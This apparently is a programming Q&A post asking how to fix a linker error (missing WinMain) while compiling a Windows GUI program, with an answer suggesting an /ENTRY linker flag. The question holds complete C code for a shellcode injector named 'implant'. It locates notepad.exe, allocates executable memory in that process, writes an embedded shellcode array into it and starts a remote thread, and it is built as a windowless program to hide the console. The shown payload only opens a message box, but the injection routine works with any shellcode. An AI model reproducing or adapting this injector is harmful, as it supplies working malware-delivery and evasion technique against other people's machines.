LIBCMT.lib(exe_winmain.obj) : error LNK2019: Unresolved WinMain external symbol referenced in function "int __cdecl __scrt_common_main_seh(void)"

Question

So i want to compile a program that basically is a WINDOWS program with SUBSYSTEM:WINDOWS and everything seems right but is giving me the error:

FULL ERROR HERE -> LIBCMT.lib(exe_winmain.obj) : error LNK2019: Unresolved WinMain external symbol referenced in function "int __cdecl __scrt_common_main_seh(void)" (?__scrt_common_main_seh@@YAHXZ) implant.exe: fatal error LNK1120: 1 unresolved external

This is the program that i want to compile, is a program that injects shellcode on a running process (notepad.exe) and simply pop ups a messagebox:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>
#include <stdlib.h>
#pragma comment(lib, "user32.lib")

unsigned char payload[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x21\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1b\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x6f\x6c\x61\x2c\x71\x75\x65\x20\x74\x61"
"\x6c\x00\x67\x68\x30\x73\x74\x00\x75\x73\x65\x72\x33\x32"
"\x2e\x64\x6c\x6c\x00";

unsigned int payload_len = sizeof(payload);

int FindTarget(const char *procname){

    HANDLE hSnap = NULL;
    int pid = 0;
    PROCESSENTRY32 pe32;


    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == hSnap) return 0;
    
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hSnap, &pe32)) {
        CloseHandle(hSnap);
        return 0;
    }

    while (Process32Next(hSnap, &pe32)) {
        if (strcmp(procname, pe32.szExeFile) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    }
    CloseHandle(hSnap);
    return pid;

}

int Inject(HANDLE hProc, unsigned char * payload, size_t payload_len){

    LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;

    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, NULL);

    hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);

    if (hThread != NULL) {
        WaitForSingleObject(hProc, INFINITE);
        CloseHandle(hThread);
        return 0;
    }
    
    
    return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

    int pid = 0;

    pid = FindTarget("notepad.exe");

    if (pid) {
        // printf("notepad.exe pid = %ld\n", pid);

        HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
        // HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) pid);

        if (hProc != NULL) {
            Inject(hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return -1;
}

As you can see i declared the WinMain function as is has to be and compiled it with:

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:X64

The main thing i want to compile it being a windows/GUI program is because this is a program that im doing following a course and basically this hides the cmd window that pop ups when running. If anyone has answers to this, thank you on advance.

Answer 1

I found the solution to my problem in here :): What / where is __scrt_common_main_seh?

It basically says that you have to add the linker flag "/ENTRY". So if you called your function WinMain add /ENTRY:WinMainCRTStartup.